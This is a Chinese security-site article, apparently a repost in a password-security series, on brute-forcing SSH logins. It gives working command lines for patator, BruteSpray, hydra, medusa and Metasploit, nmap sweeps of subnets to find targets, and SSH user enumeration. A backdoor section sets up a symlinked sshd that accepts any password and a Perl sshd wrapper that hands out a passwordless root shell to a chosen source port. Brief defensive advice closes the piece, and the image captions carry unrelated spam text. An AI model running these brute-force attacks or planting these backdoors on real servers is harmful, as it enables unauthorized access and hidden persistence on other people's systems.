加入收藏 | 设为首页 | 会员中心 | 我要投稿 南平站长网 (https://www.0599zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 安全 > 正文

密码安全系列文章5:服务器安全攻防之SSH账号扫描及攻击

发布时间:2023-01-08 14:03:38 所属栏目:安全 来源:转载
导读: 执行“./patator.py ssh_login –help“命令后即可获取其参数的详细使用信息,如图7所示,在ssh暴力破解模块ssh_login中需要设置host,port,user,password等参数。

图7查看帮助信息
(2

执行“./patator.py ssh_login –help“命令后即可获取其参数的详细使用信息,如图7所示,在ssh暴力破解模块ssh_login中需要设置host,port,user,password等参数。

腾讯安全管家扫描登录不了怪物猎人_网站安全扫描_在线网站安全扫描

图7查看帮助信息

(2)执行单一用户密码破解

对主机192.168.157.131,用户root,密码文件为/root/newpass.txt进行破解,如图8所示,破解成功后会显示SSH登录标识“SSH-2.0-OpenSSH_7.5p1 Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快!

./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt

在线网站安全扫描_网站安全扫描_腾讯安全管家扫描登录不了怪物猎人

图8破解单一用户密码

(3)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图9所示。

./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt

在线网站安全扫描_网站安全扫描_腾讯安全管家扫描登录不了怪物猎人

图9使用patator破解多用户的密码

1.1.5使用BrutesPray暴力破解SSH密码

BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破(Medusa美杜莎是一款端口爆破工具,在前面的文章中对其进行了介绍),声称速度比hydra快,其官方项目地址:。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。

1.安装及下载

(1)普通下载地址

(2)kali下安装

BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:

apt-get install brutespray

kali Linux默认安装其用户和密码字典文件位置:/usr/share/brutespray/wordlist。

(3)手动安装

git clone

cd brutespray

pip install -r requirements.txt

注意如果在其它环境安装需要安装medusa,否则会执行报错。

2.BrutesPray使用参数

用法: brutespray.py [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-p PASSWORD] [-c] [-i]

用法: python brutespray.py

选项参数:

-h, --help 显示帮助信息并退出

菜单选项:

-f FILE, --file FILE 参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件

-o OUTPUT, --output OUTPUT 包含成功尝试的目录

-s SERVICE, --service SERVICE 参数后跟一个服务名, 指定要攻击的服务

-t THREADS, --threads THREADS 参数后跟一数值,指定medusa线程数

-T HOSTS, --hosts HOSTS 参数后跟一数值,指定同时测试的主机数

-U USERLIST, --userlist USERLIST 参数后跟用户字典文件

-P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件

-u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破

-p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破

-c, --continuous 成功之后继续爆破

-i, --interactive 交互模式

4.使用nmap进行端口扫描

(1)扫描整个内网C段

nmap -v 192.168.17.0/24 -oX nmap.xml

(2)扫描开放22端口的主机

nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml

(3)扫描存活主机

nmap –sP 192.168.17.0/24 -oX nmaplive.xml

(4)扫描应用程序以及版本号

nmap -sV –O 192.168.17.0/24 -oX nmap.xml

5.暴力破解SSH密码

(1)交互模式破解

python brutespray.py --file nmap.xml –i

执行后,程序会自动识别nmap扫描结果中的服务,根据提示选择需要破解的服务,线程数、同时暴力破解的主机数,指定用户和密码文件,如图10所示。Brutespray破解成功后在屏幕上会显示“SUCCESS”信息。

在线网站安全扫描_腾讯安全管家扫描登录不了怪物猎人_网站安全扫描

图10交互模式破解密码

(2)通过指定字典文件爆破SSH

python brutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P /usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5

注意:

brutespray新版本的wordlist地址为/usr/share/brutespray/wordlist,其下包含了多个协议的用户名和密码,可以到该目录完善这些用户文件和密码文件。22.xml为nmap扫描22端口生成的文件。

(3)暴力破解指定的服务

python brutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5

(4)指定用户名和密码进行暴力破解

当在内网已经获取了一个密码后,可以用来验证nmap扫描中的开放22端口的服务器,如图11所示,对192.168.17.144和192.168.17.147进行root密码暴力破解,192.168.17.144密码成功破解。

python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

./brutespray.py -f 22.xml -u root -p toor --threads 5 --hosts 5

腾讯安全管家扫描登录不了怪物猎人_在线网站安全扫描_网站安全扫描

图11 对已知口令进行密码破解

(5)破解成功后继续暴力破解

python brutespray.py --file nmap.xml --threads 5 --hosts 5 –c

前面的命令是默认破解成功一个帐号后,就不再继续暴力破解了,此命令是对所有账号进行暴力破解,其时间稍长。

在线网站安全扫描_网站安全扫描_腾讯安全管家扫描登录不了怪物猎人

(6)使用Nmap扫描生成的nmap.xml进行暴力破解

python brutespray.py --file nmap.xml --threads 5 --hosts 5

6.查看破解结果

Brutespray这一点做的非常好,默认会在程序目录/brutespray-output/目录下生成ssh-success.txt文件,使用cat ssh-success.txt命令即可查看破解成功的结果,如图12所示。

在线网站安全扫描_网站安全扫描_腾讯安全管家扫描登录不了怪物猎人

图12查看破解成功的记录文件

也可以通过命令搜索ssh-success 文件的具体位置:find / -name ssh-success.txt

7.登录破解服务器

使用ssh user@host命令登录host服务器。例如登录192.168.17.144:

ssh root@192.168.17.144

输入密码即可正常登录服务器192.168.17.144。

1.1.6Msf下利用ssh_login模块进行暴力破解

1.msf下有关SSH相关模块

在kali中执行“msfconsole”-“search ssh”后会获取相关所有ssh模块,如图13所示。

腾讯安全管家扫描登录不了怪物猎人_网站安全扫描_在线网站安全扫描

图13 msf下所有SSH漏洞以及相关利用模块

2.SSH相关功能模块分析

(1)SSH用户枚举

此模块使用基于时间的攻击枚举用户OpenSSH服务器。在一些OpenSSH的一些版本

配置,OpenSSH会返回一个“没有权限”无效用户的错误比有效用户快。使用命令如下:

use auxiliary/scanner/ssh/ssh_enumusers

set rhost 191.168.17.147

set USER_FILE /root/user

run

使用info命令可以查看该模块的所有信息网站安全扫描,执行效果如图14所示,实测该功能有一些限制,仅仅对OpenSSH某些版本效果比较好。

在线网站安全扫描_腾讯安全管家扫描登录不了怪物猎人_网站安全扫描

图14 openssh用户枚举

(2)SSH版本扫描

查看远程主机的SSH服务器版本信息,命令如下:

use auxiliary/scanner/ssh/ssh_version

set rhosts 192.168.157.147

run

执行效果如图15所示,分别对centos服务器地址192.168.157.147和kali linux 地址192.168.157.144进行扫描,可以看出一个是SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3,另外一个是SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一个版本,第一时间就可以想到如果拿到权限可以安装ssh后门。

在线网站安全扫描_腾讯安全管家扫描登录不了怪物猎人_网站安全扫描

图15扫描ssh版本信息

(3)SSH暴力破解

ssh暴力破解模块“auxiliary/scanner/ssh/ssh_login”可以对单机进行单用户,单密码进行扫描破解,也可以使用密码字典和用户字典进行破解,按照提示进行设置即可。下面使用用户名字典以及密码字典进行暴力破解:

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.17.147

set PASS_FILE /root/pass.txt

set USER_FILE /root/user.txt

run

如图16所示,对IP地址192.168.17.147进行暴力破解,成功获取root账号密码,网上有人写文章说可以直接获取shell,实际测试并否如此,通过sessions -l可以看到msf确实建立会话,但切换(sessions -i 1)到会话一直没有反应。

在线网站安全扫描_腾讯安全管家扫描登录不了怪物猎人_网站安全扫描

图16使用msf暴力破解ssh密码

1.1.7ssh后门

1. 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223;

经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

2.SSH Server wrapper后门

(1)复制sshd到bin目录

cd /usr/sbin

mv sshd ../bin

(2)编辑sshd

vi sshd //加入以下内容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改权限

chmod 755 sshd

(5)使用socat

socat STDIO TCP4:target_ip:22,sourceport=19526

如果没有安装socat需要进行安装并编译

wget

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

1.1.8ssh暴力破解命令总结及分析

1.所有工具的比较

通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

(1)每款软件都能成功对ssh账号以及密码进行破解。

(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C语言编写的,需要进行编译。

(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg='Authentication failed.'”来忽略破解失败的尝试,而仅仅显示成功的破解。

2.命令总结

(1)hydra破解ssh密码

hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh

hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh

(2)medusa破解ssh密码

medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt

medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密码

./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'

./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'

如果不是本地安装,则使用patator执行即可。

(4)brutespray暴力破解ssh密码

nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml

python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密码

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.17.147

set PASS_FILE /root/pass.txt

set USER_FILE /root/user.txt

run

1.1.9 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

3.使用DenyHosts软件来设置,其下载地址:

(1)安装cd DenyHosts

# tar -zxvf DenyHosts-2.6.tar.gz

# cd DenyHosts-2.6

# python setup.py install

默认是安装到/usr/share/denyhosts目录的。

(2)配置cd DenyHosts

# cd /usr/share/denyhosts/

# cp denyhosts.cfg-dist denyhosts.cfg

# vi denyhosts.cfg

PURGE_DENY = 50m #过多久后清除已阻止IP

HOSTS_DENY = /etc/hosts.deny #将阻止IP写入到hosts.deny

BLOCK_SERVICE = sshd #阻止服务名

DENY_THRESHOLD_INVALID = 1 #允许无效用户登录失败的次数

DENY_THRESHOLD_VALID = 10 #允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT = 5 #允许root登录失败的次数

WORK_DIR = /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

DENY_THRESHOLD_RESTRICTED = 1 #设定 deny host 写入到该资料夹

LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

HOSTNAME_LOOKUP=NO #是否做域名反解

ADMIN_EMAIL = #设置管理员邮件地址

DAEMON_LOG = /var/log/denyhosts #自己的日志文件

DAEMON_PURGE = 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

(3)设置启动脚本

# cp daemon-control-dist daemon-control

# chown root daemon-control

# chmod 700 daemon-control

完了之后执行daemon-contron start就可以了。

# ./daemon-control start

如果要使DenyHosts每次重起后自动启动还需做如下设置:

# ln -s /usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

# chkconfig --add denyhosts

# chkconfig denyhosts on

# service denyhosts start

可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

(编辑:南平站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!